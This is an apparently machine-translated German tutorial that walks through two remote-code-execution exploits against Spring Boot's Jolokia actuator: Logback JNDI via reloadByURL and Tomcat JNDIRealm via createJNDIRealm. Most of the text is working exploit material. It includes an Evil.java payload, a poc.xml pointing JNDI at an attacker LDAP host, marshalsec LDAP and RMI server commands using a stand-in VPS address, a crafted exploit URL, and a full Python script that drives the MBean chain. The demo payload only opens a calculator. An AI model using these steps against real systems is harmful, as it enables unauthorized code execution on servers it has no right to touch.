Inhaltsverzeichnis
Haftungsausschluss: Dieser Artikel dient nur zum Lernen und Nachschlagen. Alle darin enthaltenen Ressourcen stammen aus dem Internet. Bitte verwenden Sie diese nicht für illegale Handlungen, da Sie sonst die entsprechenden Konsequenzen selbst tragen müssen und ich keine rechtliche und gesamtschuldnerische Haftung übernehme .
Sicherheitslücke 1: Jolokia-Logback JNDI RCE
Umgebung erstellen
Die Schwachstellenumgebung ist:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce
IDEA lädt den Quellcode und konfiguriert einen Spring Boot, um die Umgebung auszuführen.
Nachdem die Umgebung ausgeführt wurde, besuchen Sie die /jolokia-Schnittstelle
Nutzungsbedingungen
Die Zielwebsite verfügt über eine /jolokia- oder /actuator/jolokia-Schnittstelle.
Das Ziel verwendet die Jolokia-Core-Abhängigkeit (die Versionsanforderung ist noch nicht bekannt) und es gibt verwandte MBeans in der Umgebung. Das
Ziel kann den HTTP-Server des Angreifers anfordern (die Anforderung kann gehen). ins Internet)
Die gewöhnliche JNDI-Injektion wird durch die Auswirkung der Ziel-JDK-Version gesteuert, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), aber die zugehörige Umgebung kann umgangen werden
Wie benutzt man
1. Vorhandene MBeans anzeigen
Besuchen Sie die Schnittstelle /jolokia/list, um zu sehen, ob die Schlüsselwörter ch.qos.logback.classic.jmx.JMXConfigurator und reloadByURL vorhanden sind
2. Bereiten Sie den auszuführenden Java-Code vor
Schreiben Sie den Java-Code (Evil.java), der zur Überprüfung der Existenz der Sicherheitslücke verwendet wird
public class Evil{
public Evil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
Kompilieren Sie mit einer Methode, die mit niedrigeren Versionen von JDK kompatibel ist:
javac -source 1.5 -target 1.5 Evil.java
Kopieren Sie dann die generierte Evil.class-Datei auf den Angreifer-VPS.
3. Verwaltete XML-Dateien
Schreiben Sie die Datei poc.xml und legen Sie sie im selben Verzeichnis wie die Datei Evil.class auf dem VPS ab
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/aaabbb" as="appName" />
</configuration>
Verwenden Sie im Verzeichnis poc.xml Python, um einen einfachen http-Dienst zu starten
python3 -m http.server 8080
4. Richten Sie einen bösartigen LDAP-Dienst ein
Laden Sie Marshalsec ( https://github.com/mbechler/marshalsec
) herunter und verwenden Sie den folgenden Befehl, um den entsprechenden LDAP-Dienst einzurichten:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#Evil 1389
5. Ersetzen Sie die tatsächliche Your-VPS-IP-Adresse, um auf die URL zuzugreifen und die Sicherheitslücke auszulösen
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/poc.xml
Das Ergebnis ist wie folgt: Der Rechner erscheint und zeigt an, dass der Exploit erfolgreich war
Sicherheitslücke 2: Jolokia Realm JNDI RCE
Die Schwachstellenumgebung verwendet immer noch dieselbe Umgebung wie die Schwachstelle.
Nutzungsbedingungen
Auf der Zielwebsite gibt es eine /jolokia- oder /actuator/jolokia-Schnittstelle.
Das Ziel verwendet die Jolokia-Core-Abhängigkeit (die Versionsanforderung ist noch nicht bekannt) und es gibt verwandte MBeans in der Umgebung. Das
Ziel kann den Server des Angreifers anfordern ( Die Anforderung kann über das Internet erfolgen. Die
gewöhnliche JNDI-Injektion unterliegt der Ziel-JDK-Version Impact, jdk < 6u141/7u131/8u121(RMI), aber die zugehörige Umgebung kann umgangen werden
Wie benutzt man
1. Vorhandene MBeans anzeigen
Greifen Sie auf die Schnittstelle /jolokia/list zu, um zu sehen, ob die Schlüsselwörter type=MBeanFactory und createJNDIRealm vorhanden sind.
2. Bereiten Sie den auszuführenden Java-Code vor
Dieser Schritt ist derselbe wie die Methode aus Lücke 1 und wird hier nicht wiederholt.
3. Verwaltete Klassendateien
Starten Sie im Dateiverzeichnis Evil.class auf dem VPS einen einfachen http-Dienst
python3 -m http.server 8080
4. Richten Sie einen bösartigen RMI-Dienst ein
Laden Sie Marshalsec ( https://github.com/mbechler/marshalsec
) herunter und richten Sie mit dem folgenden Befehl den entsprechenden RMI-Dienst ein:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8080/#Evil 1389
5. Senden Sie bösartige Nutzdaten
Ändern Sie die Zieladresse, die RMI-Adresse, den Port und andere Informationen im Skript springboot-realm-jndi-rce.py entsprechend der tatsächlichen Situation und führen Sie es dann auf dem von Ihnen kontrollierten Server aus.
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
import requests
url = 'http://192.168.8.14:9094/jolokia'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://192.168.10.171:1389/Evil"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
Führen Sie python3 springboot-realm-jndi-rce.py auf VPS aus
Auf dem Zielcomputer wird ein Taschenrechner angezeigt und der Exploit ist erfolgreich